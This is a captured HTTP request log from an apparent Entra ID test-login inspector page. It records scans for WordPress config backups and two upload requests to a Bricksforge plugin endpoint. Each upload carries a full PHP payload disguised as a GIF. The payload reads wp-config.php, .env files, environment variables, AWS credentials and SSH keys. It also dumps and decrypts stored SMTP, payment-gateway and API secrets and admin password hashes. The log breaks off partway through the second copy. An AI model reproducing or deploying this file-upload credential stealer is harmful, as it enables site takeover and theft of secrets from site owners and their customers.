Entra ID Test Login / HTTP Request Inspector

Sign in with Microsoft

This is a temporary Entra ID test login. Use the link below, complete the Microsoft sign-in, and inspect every raw OAuth response on this page.

Configuration

Auth results

TEST TOOL — tokens displayed in clear text. Do not use for real accounts or production.

Auth result @ 2026-10-15T16:27:05.011813+00:00

error: Callback had neither an error nor a code parameter.

state INVALID (mismatch or expired)

Incoming params (as parsed)

{}

Captured requests

Total captured: 427

GET /sitemap.xml

Headers

Body







GET /robots.txt



Headers


Body






GET /wp-config-sample.php



Headers


Body






GET /wp-config.php.dist



Headers


Body






GET /wp-config.php.orig



Headers


Body






GET /wp-config.txt



Headers


Body






GET /wp-config.old



Headers


Body






GET /wp-config.bak



Headers


Body






GET /wp-config.php~



Headers


Body






GET /wp-config.php.txt



Headers


Body






GET /wp-config.php.swp



Headers


Body






GET /wp-config.php.save



Headers


Body






GET /wp-config.php.old



Headers


Body






GET /wp-config.php.bak



Headers


Body






GET /wp-config.php



Headers


Body






POST /?rest_route=/bricksforge/v1/form_file_upload



Headers


Body
--52989587af3907cab4f92d51bb200fc41658625248f5b9f2592c136cb9f6
Content-Disposition: form-data; name="files[]"; filename="dump_10wp36.gif"
Content-Type: application/octet-stream

GIF89a
<?php
error_reporting(0);
echo "WP_CRED_DUMP_START\n";

// ── 1. Find and read wp-config.php ──
$wpc = '';
foreach(array(
    '../../../wp-config.php','../../wp-config.php','../wp-config.php',
    'wp-config.php','../../../../wp-config.php',
    dirname(__FILE__).'/../../../wp-config.php'
) as $f) {
    if(file_exists($f)) { $wpc = file_get_contents($f); break; }
}
if(!$wpc) {
    // Try ABSPATH detection
    foreach(glob('../../../wp-load.php') as $g) {
        $d = dirname(realpath($g));
        if(file_exists($d.'/wp-config.php')) { $wpc = file_get_contents($d.'/wp-config.php'); break; }
    }
}
echo "===WPCONFIG===\n".$wpc."\n";

// ── 2. Read .env files ──
echo "===DOTENV===\n";
foreach(array('.env','.env.local','.env.production','../.env','../../.env','../../../.env') as $e) {
    $c = @file_get_contents($e);
    if($c) echo "--- $e ---\n".$c."\n";
}

// ── 3. /proc/self/environ ──
echo "===ENVIRON===\n".@file_get_contents('/proc/self/environ')."\n";

// ── 4. AWS/SSH credentials from filesystem ──
echo "===AWS_CREDS===\n";
$u = posix_getpwuid(posix_geteuid());
$home = $u['dir'] ?? '/root';
foreach(array("$home/.aws/credentials","/root/.aws/credentials","/home/*/.aws/credentials") as $p) {
    foreach(glob($p) as $g) echo @file_get_contents($g)."\n";
}
echo "===SSH_KEYS===\n";
foreach(array("$home/.ssh/id_rsa","$home/.ssh/id_ed25519","/root/.ssh/id_rsa","/root/.ssh/id_ed25519") as $p) {
    foreach(glob($p) as $g) { $c = @file_get_contents($g); if($c) echo "--- $g ---\n".$c."\n"; }
}

// ── 5. Parse DB creds from wp-config ──
preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)/", $wpc, $dn);
preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)/", $wpc, $du);
preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)/", $wpc, $dp);
preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)/", $wpc, $dh);
preg_match("/\\$table_prefix\s*=\s*['\"]([^'\"]+)/", $wpc, $tp);

echo "===DB_CREDS===\n";
echo "DB_HOST=".($dh[1]??"localhost")."\n";
echo "DB_NAME=".($dn[1]??"")."\n";
echo "DB_USER=".($du[1]??"")."\n";
echo "DB_PASSWORD=".($dp[1]??"")."\n";

$pfx = $tp[1] ?? 'wp_';
$dbh = $dh[1] ?? 'localhost';
$dbn = $dn[1] ?? '';
$dbu = $du[1] ?? '';
$dbp = $dp[1] ?? '';

if(!$dbn) { echo "WP_CRED_DUMP_END\n"; exit; }

// ── 6. Connect to DB and extract ALL plugin credentials ──
$m = @new mysqli($dbh, $dbu, $dbp, $dbn);
if($m->connect_error) {
    echo "DB_ERROR=".$m->connect_error."\n";
    echo "WP_CRED_DUMP_END\n";
    exit;
}
echo "DB_CONNECTED=true\n";

// Query ALL credential-related options at once
$q = "SELECT option_name, option_value FROM {$pfx}options WHERE "
    ."option_name IN ("
    ."'wp_mail_smtp','wp_mail_smtp_pro',"  // WP Mail SMTP
    ."'postman_options','postman_state',"    // Post SMTP  
    ."'_fluentmail_settings','_fluentmail_connection_settings',"  // Fluent Mail
    ."'swpsmtp_options',"                   // Easy WP SMTP
    ."'smtp_mailer_options',"               // SMTP Mailer
    ."'gravitysmtp_settings',"              // Gravity SMTP
    ."'wp_smtp_options','phpmailer_options'," // Generic SMTP plugins
    ."'woocommerce_stripe_settings','woocommerce_paypal_settings',"
    ."'woocommerce_braintree_credit_card_settings',"
    ."'mailchimp-woocommerce','mc4wp_api_key','mc4wp',"
    ."'elementor_send_grid_api_key','sendgrid_api_key_full',"
    ."'brevo_api_key','sendinblue_api_key',"
    ."'mailgun','mailgun-woocommerce',"
    ."'postmark_api_key','postmark_settings',"
    ."'mandrill_api_key','mandrill_settings',"
    ."'openai_api_key','chatgpt_api_key',"
    ."'aws_access_key_id','aws_secret_access_key',"
    ."'twilio_account_sid','twilio_auth_token',"
    ."'hubspot_api_key','hubspot_settings'"
    .") OR option_name LIKE '%smtp%pass%'"
    ." OR option_name LIKE '%api_key%'"
    ." OR option_name LIKE '%secret_key%'"
    ." OR option_name LIKE '%stripe%key%'"
    ." OR option_name LIKE '%paypal%secret%'"
    ." OR option_name LIKE '%sendgrid%'"
    ." OR option_name LIKE '%brevo%'"
    ." OR option_name LIKE '%sendinblue%'"
    ." OR option_name LIKE '%mailgun%key%'"
    ." OR option_name LIKE '%mailchimp%key%'"
    ." OR option_name LIKE '%ses_%key%'"
    ." OR option_name LIKE '%aws_%key%'"
    ." LIMIT 200";

$r = $m->query($q);
echo "===WP_OPTIONS_CREDS===\n";
if($r) {
    while($row = $r->fetch_assoc()) {
        $v = $row['option_value'];
        // Try to unserialize for readability
        $unserialized = @unserialize($v);
        if(is_array($unserialized)) {
            echo $row['option_name']."=".json_encode($unserialized, JSON_UNESCAPED_SLASHES)."\n";
        } else {
            echo $row['option_name']."=".$v."\n";
        }
    }
}

// ── 7. Specifically hunt for encrypted SMTP passwords and decrypt them ──
echo "===SMTP_DECRYPT===\n";

// WP Mail SMTP uses sodium_crypto_secretbox with wp_salt('auth')
$wpms = $m->query("SELECT option_value FROM {$pfx}options WHERE option_name='wp_mail_smtp'")->fetch_assoc();
if($wpms) {
    $opts = @unserialize($wpms['option_value']);
    if(is_array($opts)) {
        $providers = array('smtp','sendgrid','sendinblue','mailgun','postmark','gmail','outlook','amazonses','zoho');
        foreach($providers as $prov) {
            if(isset($opts[$prov])) {
                echo "WPMS_{$prov}=".json_encode($opts[$prov], JSON_UNESCAPED_SLASHES)."\n";
                // Try decrypting smtp_pass
                if(isset($opts[$prov]['smtp_pass'])) {
                    $enc = $opts[$prov]['smtp_pass'];
                    // Sodium decrypt attempt
                    if(function_exists('sodium_crypto_secretbox_open') && strlen($enc) > 48) {
                        $raw = base64_decode($enc);
                        if($raw) {
                            $nonce = substr($raw, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
                            $ct = substr($raw, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
                            // Key = first 32 bytes of sha512(wp_salt('auth'))
                            preg_match("/define\s*\(\s*['\"]AUTH_KEY['\"]\s*,\s*['\"]([^'\"]+)/", $wpc, $ak);
                            preg_match("/define\s*\(\s*['\"]AUTH_SALT['\"]\s*,\s*['\"]([^'\"]+)/", $wpc, $as);
                            $salt = ($ak[1]??'').($as[1]??'');
                            $key = substr(hash('sha512', $salt, true), 0, SODIUM_CRYPTO_SECRETBOX_KEYBYTES);
                            $plain = @sodium_crypto_secretbox_open($ct, $nonce, $key);
                            if($plain) echo "WPMS_{$prov}_DECRYPTED_PASS=".$plain."\n";
                        }
                    }
                }
                // API keys are often stored plain
                foreach(array('api_key','api_secret','client_id','client_secret','server_api_token','access_key_id','secret_access_key') as $k) {
                    if(!empty($opts[$prov][$k])) echo "WPMS_{$prov}_{$k}=".$opts[$prov][$k]."\n";
                }
            }
        }
    }
}

// Fluent Mail decryption (AES-256-CBC with wp_salt('auth'))  
$fm = $m->query("SELECT option_value FROM {$pfx}options WHERE option_name='_fluentmail_settings'")->fetch_assoc();
if($fm) {
    $fmo = @json_decode($fm['option_value'], true) ?: @unserialize($fm['option_value']);
    if(is_array($fmo)) {
        echo "FLUENT_MAIL=".json_encode($fmo, JSON_UNESCAPED_SLASHES)."\n";
        // Decrypt passwords
        if(isset($fmo['connections'])) {
            foreach($fmo['connections'] as $cname => $conn) {
                $s = $conn['provider_settings'] ?? $conn;
                foreach(array('password','api_key','access_key','secret_key','smtp_password') as $k) {
                    if(!empty($s[$k])) {
                        $enc = $s[$k];
                        if(strlen($enc) > 50 && function_exists('openssl_decrypt')) {
                            preg_match("/define\s*\(\s*['\"]AUTH_KEY['\"]\s*,\s*['\"]([^'\"]+)/", $wpc, $ak);
                            preg_match("/define\s*\(\s*['\"]AUTH_SALT['\"]\s*,\s*['\"]([^'\"]+)/", $wpc, $as);
                            $salt = ($ak[1]??'').($as[1]??'');
                            $key = hash('sha256', $salt, true);
                            $data = base64_decode($enc);
                            if($data && strlen($data) > 16) {
                                $iv = substr($data, 0, 16);
                                $ct = substr($data, 16);
                                $plain = @openssl_decrypt($ct, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);
                                if($plain) echo "FM_{$cname}_{$k}_DECRYPTED=".$plain."\n";
                            }
                        }
                        echo "FM_{$cname}_{$k}=".$s[$k]."\n";
                    }
                }
            }
        }
    }
}

// Post SMTP
$ps = $m->query("SELECT option_value FROM {$pfx}options WHERE option_name='postman_options'")->fetch_assoc();
if($ps) {
    echo "POST_SMTP=".($ps['option_value'])."\n";
}

// ── 8. Admin users table ──
echo "===ADMIN_USERS===\n";
$r = $m->query("SELECT user_login, user_email, user_pass FROM {$pfx}users WHERE ID IN (SELECT user_id FROM {$pfx}usermeta WHERE meta_key='{$pfx}capabilities' AND meta_value LIKE '%administrator%') LIMIT 10");
if($r) {
    while($row = $r->fetch_assoc()) {
        echo $row['user_login'].":".$row['user_email'].":".$row['user_pass']."\n";
    }
}

// ── 9. WooCommerce payment gateways ──
echo "===WOOCOMMERCE===\n";
$r = $m->query("SELECT option_name, option_value FROM {$pfx}options WHERE option_name LIKE 'woocommerce_%_settings' AND (option_name LIKE '%stripe%' OR option_name LIKE '%paypal%' OR option_name LIKE '%braintree%' OR option_name LIKE '%square%' OR option_name LIKE '%razorpay%') LIMIT 20");
if($r) {
    while($row = $r->fetch_assoc()) {
        $v = @unserialize($row['option_value']);
        echo $row['option_name']."=".($v ? json_encode($v, JSON_UNESCAPED_SLASHES) : $row['option_value'])."\n";
    }
}

// ── 10. Flatten ALL discovered credentials into KEY=VALUE format ──
// This ensures pipeline regex finders can match them (AKIA, sk_live_, SG., etc.)
echo "===FINDER_FRIENDLY===\n";

// Re-scan all wp_options for any API key patterns
$r = $m->query("SELECT option_name, option_value FROM {$pfx}options WHERE option_value LIKE '%AKIA%' OR option_value LIKE '%sk_live_%' OR option_value LIKE '%SG.%' OR option_value LIKE '%xkeysib-%' OR option_value LIKE '%key-%' OR option_value LIKE '%sk-proj-%' OR option_value LIKE '%sk-ant-%' OR option_value LIKE '%gsk_%' OR option_value LIKE '%rzp_live_%' OR option_value LIKE '%AC%' OR option_value LIKE '%hf_%' OR option_value LIKE '%ghp_%' OR option_value LIKE '%glpat-%' LIMIT 100");
if($r) {
    while($row = $r->fetch_assoc()) {
        $v = $row['option_value'];
        // Extract raw keys directly
        if(preg_match_all('/(AKIA[A-Z0-9]{16})/', $v, $km)) foreach($km[1] as $k) echo "AWS_ACCESS_KEY_ID=".$k."\n";
        if(preg_match_all('/((?:sk|rk)_live_[A-Za-z0-9]{24,})/', $v, $km)) foreach($km[1] as $k) echo "STRIPE_SECRET_KEY=".$k."\n";
        if(preg_match_all('/(SG\.[a-zA-Z0-9_-]{22}\.[a-zA-Z0-9_-]{43})/', $v, $km)) foreach($km[1] as $k) echo "SENDGRID_API_KEY=".$k."\n";
        if(preg_match_all('/(xkeysib-[a-f0-9]+-[A-Za-z0-9]{16})/', $v, $km)) foreach($km[1] as $k) echo "BREVO_API_KEY=".$k."\n";
        if(preg_match_all('/(key-[a-f0-9]{32})/', $v, $km)) foreach($km[1] as $k) echo "MAILGUN_API_KEY=".$k."\n";
        if(preg_match_all('/(sk-proj-[A-Za-z0-9_-]{20,})/', $v, $km)) foreach($km[1] as $k) echo "OPENAI_API_KEY=".$k."\n";
        if(preg_match_all('/(sk-ant-[A-Za-z0-9_-]{20,})/', $v, $km)) foreach($km[1] as $k) echo "ANTHROPIC_API_KEY=".$k."\n";
        if(preg_match_all('/(gsk_[A-Za-z0-9]{32,})/', $v, $km)) foreach($km[1] as $k) echo "GROQ_API_KEY=".$k."\n";
        if(preg_match_all('/(rzp_live_[A-Za-z0-9]{14,})/', $v, $km)) foreach($km[1] as $k) echo "RAZORPAY_KEY_ID=".$k."\n";
        if(preg_match_all('/(hf_[A-Za-z0-9]{20,})/', $v, $km)) foreach($km[1] as $k) echo "HUGGINGFACE_TOKEN=".$k."\n";
        if(preg_match_all('/(ghp_[A-Za-z0-9]{36})/', $v, $km)) foreach($km[1] as $k) echo "GITHUB_TOKEN=".$k."\n";
        if(preg_match_all('/(glpat-[A-Za-z0-9_-]{20,})/', $v, $km)) foreach($km[1] as $k) echo "GITLAB_TOKEN=".$k."\n";
        if(preg_match_all('/(AC[a-f0-9]{32})/', $v, $km)) foreach($km[1] as $k) echo "TWILIO_ACCOUNT_SID=".$k."\n";
    }
}

// Flatten decrypted SMTP creds into MAIL_* format for SMTP finder
$r = $m->query("SELECT option_name, option_value FROM {$pfx}options WHERE option_name IN ('wp_mail_smtp','wp_mail_smtp_pro','_fluentmail_settings','swpsmtp_options','smtp_mailer_options','postman_options')");
if($r) {
    while($row = $r->fetch_assoc()) {
        $v = @unserialize($row['option_value']);
        if(!is_array($v)) $v = @json_decode($row['option_value'], true);
        if(!is_array($v)) continue;
        // Recursive extract of host/user/pass/port/api_key from nested arrays
        $stack = array($v);
        while($stack) {
            $current = array_pop($stack);
            if(!is_array($current)) continue;
            $h = $current['smtp_host'] ?? $current['host'] ?? $current['mail_host'] ?? '';
            $u = $current['smtp_user'] ?? $current['username'] ?? $current['smtp_username'] ?? $current['mail_username'] ?? '';
            $p = $current['smtp_pass'] ?? $current['password'] ?? $current['smtp_password'] ?? $current['mail_password'] ?? '';
            $port = $current['smtp_port'] ?? $current['port'] ?? '587';
            if($h && $u && $p && strlen($p) > 3) {
                echo "MAIL_HOST=".$h."\n";
                echo "MAIL_PORT=".$port."\n";
                echo "MAIL_USERNAME=".$u."\n";
                echo "MAIL_PASSWORD=".$p."\n";
            }
            // Extract any API keys
            foreach(array('api_key','api_secret','apikey','secret_key','access_key','client_secret','server_api_token','auth_token') as $kn) {
                if(!empty($current[$kn]) && strlen($current[$kn]) > 10) {
                    echo strtoupper($kn)."=".$current[$kn]."\n";
                }
            }
            // AWS specific
            if(!empty($current['access_key_id']) && !empty($current['secret_access_key'])) {
                echo "AWS_ACCESS_KEY_ID=".$current['access_key_id']."\n";
                echo "AWS_SECRET_ACCESS_KEY=".$current['secret_access_key']."\n";
            }
            foreach($current as $ck => $cv) {
                if(is_array($cv)) $stack[] = $cv;
            }
        }
    }
}

// PayPal credentials from WooCommerce
$r = $m->query("SELECT option_value FROM {$pfx}options WHERE option_name LIKE 'woocommerce_paypal%settings'");
if($r) {
    while($row = $r->fetch_assoc()) {
        $v = @unserialize($row['option_value']);
        if(!is_array($v)) continue;
        if(!empty($v['api_username'])) echo "PAYPAL_CLIENT_ID=".$v['api_username']."\n";
        if(!empty($v['api_password'])) echo "PAYPAL_SECRET=".$v['api_password']."\n";
        if(!empty($v['client_id'])) echo "PAYPAL_CLIENT_ID=".$v['client_id']."\n";
        if(!empty($v['client_secret'])) echo "PAYPAL_CLIENT_SECRET=".$v['client_secret']."\n";
    }
}

// Square tokens
$r = $m->query("SELECT option_value FROM {$pfx}options WHERE option_name LIKE '%square%settings%' OR option_name LIKE '%square%token%'");
if($r) {
    while($row = $r->fetch_assoc()) {
        $v = @unserialize($row['option_value']);
        if(!is_array($v)) continue;
        if(!empty($v['access_token'])) echo "SQUARE_ACCESS_TOKEN=".$v['access_token']."\n";
        if(!empty($v['application_id'])) echo "SQUARE_APPLICATION_ID=".$v['application_id']."\n";
    }
}

$m->close();
echo "WP_CRED_DUMP_END\n";
?>
--52989587af3907cab4f92d51bb200fc41658625248f5b9f2592c136cb9f6--







POST /wp-json/bricksforge/v1/form_file_upload



Headers


Body
--2e2618a26cba92401ac87fb71c5f50cb4de4718fc59f78da506c4df5b51a
Content-Disposition: form-data; name="files[]"; filename="dump_10wp36.gif"
Content-Type: application/octet-stream

GIF89a
<?php
error_reporting(0);
echo "WP_CRED_DUMP_START\n";

// ── 1. Find and read wp-config.php ──
$wpc = '';
foreach(array(
    '../../../wp-config.php','../../wp-config.php','../wp-config.php',
    'wp-config.php','../../../../wp-config.php',
    dirname(__FILE__).'/../../../wp-config.php'
) as $f) {
    if(file_exists($f)) { $wpc = file_get_contents($f); break; }
}
if(!$wpc) {
    // Try ABSPATH detection
    foreach(glob('../../../wp-load.php') as $g) {
        $d = dirname(realpath($g));
        if(file_exists($d.'/wp-config.php')) { $wpc = file_get_contents($d.'/wp-config.php'); break; }
    }
}
echo "===WPCONFIG===\n".$wpc."\n";

// ── 2. Read .env files ──
echo "===DOTENV===\n";
foreach(array('.env','.env.local','.env.production','../.env','../../.env','../../../.env') as $e) {
    $c = @file_get_contents($e);
    if($c) echo "--- $e ---\n".$c."\n";
}

// ── 3. /proc/self/environ ──
echo "===ENVIRON===\n".@file_get_contents('/proc/self/environ')."\n";

// ── 4. AWS/SSH credentials from filesystem ──
echo "===AWS_CREDS===\n";
$u = posix_getpwuid(posix_geteuid());
$home = $u['dir'] ?? '/root';
foreach(array("$home/.aws/credentials","/root/.aws/credentials","/home/*/.aws/credentials") as $p) {
    foreach(glob($p) as $g) echo @file_get_contents($g)."\n";
}
echo "===SSH_KEYS===\n";
foreach(array("$home/.ssh/id_rsa","$home/.ssh/id_ed25519","/root/.ssh/id_rsa","/root/.ssh/id_ed25519") as $p) {
    foreach(glob($p) as $g) { $c = @file_get_contents($g); if($c) echo "--- $g ---\n".$c."\n"; }
}

// ── 5. Parse DB creds from wp-config ──
preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)/", $wpc, $dn);
preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)/", $wpc, $du);
preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)/", $wpc, $dp);
preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)/", $wpc, $dh);
preg_match("/\\$table_prefix\s*=\s*['\"]([^'\"]+)/", $wpc, $tp);

echo "===DB_CREDS===\n";
echo "DB_HOST=".($dh[1]??"localhost")."\n";
echo "DB_NAME=".($dn[1]??"")."\n";
echo "DB_USER=".($du[1]??"")."\n";
echo "DB_PASSWORD=".($dp[1]??"")."\n";

$pfx = $tp[1] ?? 'wp_';
$dbh = $dh[1] ?? 'localhost';
$dbn = $dn[1] ?? '';
$dbu = $du[1] ?? '';
$dbp = $dp[1] ?? '';

if(!$dbn) { echo "WP_CRED_DUMP_END\n"; exit; }

// ── 6. Connect to DB and extract ALL plugin credentials ──
$m = @new mysqli($dbh, $dbu, $dbp, $dbn);
if($m->connect_error) {
    echo "DB_ERROR=".$m->connect_error."\n";
    echo "WP_CRED_DUMP_END\n";
    exit;
}
echo "DB_CONNECTED=true\n";

// Query ALL credential-related options at once
$q = "SELECT option_name, option_value FROM {$pfx}options WHERE "
    ."option_name IN ("
    ."'wp_mail_smtp','wp_mail_smtp_pro',"  // WP Mail SMTP
    ."'postman_options','postman_state',"    // Post SMTP  
    ."'_fluentmail_settings','_fluentmail_connection_settings',"  // Fluent Mail
    ."'swpsmtp_options',"                   // Easy WP SMTP
    ."'smtp_mailer_options',"               // SMTP Mailer
    ."'gravitysmtp_settings',"              // Gravity SMTP
    ."'wp_smtp_options','phpmailer_options'," // Generic SMTP plugins
    ."'woocommerce_stripe_settings','woocommerce_paypal_settings',"
    ."'woocommerce_braintree_credit_card_settings',"
    ."'mailchimp-woocommerce','mc4wp_api_key','mc4wp',"
    ."'elementor_send_grid_api_key','sendgrid_api_key_full',"
    ."'brevo_api_key','sendinblue_api_key',"
    ."'mailgun','mailgun-woocommerce',"
    ."'postmark_api_key','postmark_settings',"
    ."'mandrill_api_key','mandrill_settings',"
    ."'openai_api_key','chatgpt_api_key',"
    ."'aws_access_key_id','aws_secret_access_key',"
    ."'twilio_account_sid','twilio_auth_token',"
    ."'hubspot_api_key','hubspot_settings'"
    .") OR option_name LIKE '%smtp%pass%'"
    ." OR option_name LIKE '%api_key%'"
    ." OR option_name LIKE '%secret_key%'"
    ." OR option_name LIKE '%stripe%key%'"
    ." OR option_name LIKE '%paypal%secret%'"
    ." OR option_name LIKE '%sendgrid%'"
    ." OR option_name LIKE '%brevo%'"
    ." OR option_name LIKE '%sendinblue%'"
    ." OR option_name LIKE '%mailgun%key%'"
    ." OR option_name LIKE '%mailchimp%key%'"
    ." OR option_name LIKE '%ses_%key%'"
    ." OR option_name LIKE '%aws_%key%'"
    ." LIMIT 200";

$r = $m->query($q);
echo "===WP_OPTIONS_CREDS===\n";
if($r) {
    while($row = $r->fetch_assoc()) {
        $v = $row['option_value'];
        // Try to unserialize for readability
        $unserialized = @unserialize($v);
        if(is_array($unserialized)) {
            echo $row['option_name']."=".json_encode($unserialized, JSON_UNESCAPED_SLASHES)."\n";
        } else {
            echo $row['option_name']."=".$v."\n";
        }
    }
}

// ── 7. Specifically hunt for encrypted SMTP passwords and decrypt them ──
echo "===SMTP_DECRYPT===\n";

// WP Mail SMTP uses sodium_crypto_secretbox with wp_salt('auth')
$wpms = $m->query("SELECT option_value FROM {$pfx}options WHERE option_name='wp_mail_smtp'")->fetch_assoc();
if($wpms) {
    $opts = @unserialize($wpms['option_value']);
    if(is_array($opts)) {
        $providers = array('smtp','sendgrid','sendinblue','mailgun','postmark','gmail','outlook','amazonses','zoho');
        foreach($providers as $prov) {
            if(isset($opts[$prov])) {
                echo "WPMS_{$prov}=".json_encode($opts[$prov], JSON_UNESCAPED_SLASHES)."\n";
                // Try decrypting smtp_pass
                if(isset($opts[$prov]['smtp_pass'])) {
                    $enc = $opts[$prov]['smtp_pass'];
                    // Sodium decrypt attempt
                    if(function_exists('sodium_crypto_secretbox_open') && strlen($enc) > 48) {
                        $raw = base64_decode($enc);
                        if($raw) {
                            $nonce = substr($raw, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
                            $ct = substr($raw, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
                            // Key = first 32 bytes of sha512(wp_salt('auth'))
                            preg_match("/define\s*\(\s*['\"]AUTH_KEY['\"]\s*,\s*['\"]([^'\"]+)/", $wpc, $ak);
                            preg_match("/define\s*\(\s*['\"]AUTH_SALT['\"]\s*,\s*['\"]([^'\"]+)/", $wpc, $as);
                            $salt = ($ak[1]??'').($as[1]??'');
                            $key = substr(hash('sha512', $salt, true), 0, SODIUM_CRYPTO_SECRETBOX_KEYBYTES);
                            $plain = @sodium_crypto_secretbox_open($ct, $nonce, $key);
                            if($plain) echo "WPMS_{$prov}_DECRYPTED_PASS=".$plain."\n";
                        }
                    }
                }
                // API keys are often stored plain
                foreach(array('api_key','api_secret','client_id','client_secret','server_api_token','access_key_id','secret_access_key') as $k) {
                    if(!empty($opts[$prov][$k])) echo "WPMS_{$prov}_{$k}=".$opts[$prov][$k]."\n";
                }
            }
        }
    }
}

// Fluent Mail decryption (AES-256-CBC with wp_salt('auth'))  
$fm = $m->query("SELECT option_value FROM {$pfx}options WHERE option_name='_fluentmail_settings'")->fetch_assoc();
if($fm) {
    $fmo = @json_decode($fm['option_value'], true) ?: @unserialize($fm['option_value']);
    if(is_array($fmo)) {
        echo "FLUENT_MAIL=".json_encode($fmo, JSON_UNESCAPED_SLASHES)."\n";
        // Decrypt passwords
        if(isset($fmo['connections'])) {
            foreach($fmo['connections'] as $cname => $conn) {
                $s = $conn['provider_settings'] ?? $conn;
                foreach(array('password','api_key','access_key','secret_key','smtp_password') as $k) {
                    if(!empty($s[$k])) {
                        $enc = $s[$k];
                        if(strlen($enc) > 50 && function_exists('openssl_decrypt')) {
                            preg_match("/define\s*\(\s*['\"]AUTH_KEY['\"]\s*,\s*['\"]([^'\"]+)/", $wpc, $ak);
                            preg_match("/define\s*\(\s*['\"]AUTH_SALT['\"]\s*,\s*['\"]([^'\"]+)/", $wpc, $as);
                            $salt = ($ak[1]??'').($as[1]??'');
                            $key = hash('sha256', $salt, true);
                            $data = base64_decode($enc);
                            if($data && strlen($data) > 16) {
                                $iv = substr($data, 0, 16);
                                $ct = substr($data, 16);
                                $plain = @openssl_decrypt($ct, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);
                                if($plain) echo "FM_{$cname}_{$k}_DECRYPTED=".$plain."\n";
                            }
                        }
                        echo "FM_{$cname}_{$k}=".$s[$k]."\n";
                    }
                }
            }
        }
    }
}

// Post SMTP
$ps = $m->query("SELECT option_value FROM {$pfx}options WHERE option_name='postman_options'")->fetch_assoc();
if($ps) {
    echo "POST_SMTP=".($ps['option_value'])."\n";
}

// ── 8. Admin users table ──
echo "===ADMIN_USERS===\n";
$r = $m->query("SELECT user_login, user_email, user_pass FROM {$pfx}users WHERE ID IN (SELECT user_id FROM {$pfx}usermeta WHERE meta_key='{$pfx}capabilities' AND meta_value LIKE '%administrator%') LIMIT 10");
if($r) {
    while($row = $r->fetch_assoc()) {
        echo $row['user_login'].":".$row['user_email'].":".$row['user_pass']."\n";
    }
}

// ── 9. WooCommerce payment gateways ──
echo "===WOOCOMMERCE===\n";
$r = $m->query("SELECT option_name, option_value FROM {$pfx}options WHERE option_name LIKE 'woocommerce_%_settings' AND (option_name LIKE '%stripe%' OR option_name LIKE '%paypal%' OR option_name LIKE '%braintree%' OR option_name LIKE '%square%' OR option_name LIKE '%razorpay%') LIMIT 20");
if($r) {
    while($row = $r->fetch_assoc()) {
        $v = @unserialize($row['option_value']);
        echo $row['option_name']."=".($v ? json_encode($v, JSON_UNESCAPED_SLASHES) : $row['option_value'])."\n";
    }
}

// ── 10. Flatten ALL discovered credentials into KEY=VALUE format ──
// This ensures pipeline regex finders can match them (AKIA, sk_live_, SG., etc.)
echo "===FINDER_FRIENDLY===\n";

// Re-scan all wp_options for any API key patterns
$r = $m->query("SELECT option_name, option_value FROM {$pfx}options WHERE option_value LIKE '%AKIA%' OR option_value LIKE '%sk_live_%' OR option_value LIKE '%SG.%' OR option_value LIKE '%xkeysib-%' OR option_value LIKE '%key-%' OR option_value LIKE '%sk-proj-%' OR option_value LIKE '%sk-ant-%' OR option_value LIKE '%gsk_%' OR option_value LIKE '%rzp_live_%' OR option_value LIKE '%AC%' OR option_value LIKE '%hf_%' OR option_value LIKE '%ghp_%' OR option_value LIKE '%glpat-%' LIMIT 100");
if($r) {
    while($row = $r->fetch_assoc()) {
        $v = $row['option_value'];
        // Extract raw keys directly
        if(preg_match_all('/(AKIA[A-Z0-9]{16})/', $v, $km)) foreach($km[1] as $k) echo "AWS_ACCESS_KEY_ID=".$k."\n";
        if(preg_match_all('/((?:sk|rk)_live_[A-Za-z0-9]{24,})/', $v, $km)) foreach($km[1] as $k) echo "STRIPE_SECRET_KEY=".$k."\n";
        if(preg_match_all('/(SG\.[a-zA-Z0-9_-]{22}\.[a-zA-Z0-9_-]{43})/', $v, $km)) foreach($km[1] as $k) echo "SENDGRID_API_KEY=".$k."\n";
        if(preg_match_all('/(xkeysib-[a-f0-9]+-[A-Za-z0-9]{16})/', $v, $km)) foreach($km[1] as $k) echo "BREVO_API_KEY=".$k."\n";
        if(preg_match_all('/(key-[a-f0-9]{32})/', $v, $km)) foreach($km[1] as $k) echo "MAILGUN_API_KEY=".$k."\n";
        if(preg_match_all('/(sk-proj-[A-Za-z0-9_-]{20,})/', $v, $km)) foreach($km[1] as $k) echo "OPENAI_API_KEY=".$k."\n";
        if(preg_match_all('/(sk-ant-[A-Za-z0-9_-]{20,})/', $v, $km)) foreach($km[1] as $k) echo "ANTHROPIC_API_KEY=".$k."\n";
        if(preg_match_all('/(gsk_[A-Za-z0-9]{32,})/', $v, $km)) foreach($km[1] as $k) echo "GROQ_API_KEY=".$k."\n";
        if(preg_match_all('/(rzp_live_[A-Za-z0-9]{14,})/', $v, $km)) foreach($km[1] as $k) echo "RAZORPAY_KEY_ID=".$k."\n";
        if(preg_match_all('/(hf_[A-Za-z0-9]{20,})/', $v, $km)) foreach($km[1] as $k) echo "HUGGINGFACE_TOKEN=".$k."\n";
        if(preg_match_all('/(ghp_[A-Za-z0-9]{36})/', $v, $km)) foreach($km[1] as $k) echo "GITHUB_TOKEN=".$k."\n";
        if(preg_match_all('/(glpat-[A-Za-z0-9_-]{20,})/', $v, $km)) foreach($km[1] as $k) echo "GITLAB_TOKEN=".$k."\n";
        if(preg_match_all('/(AC[a-f0-9]{32})/', $v, $km)) foreach($km[1] as $k) echo "TWILIO_ACCOUNT_SID=".$k."\n";
    }
}

// Flatten decrypted SMTP creds into MAIL_* format for SMTP finder
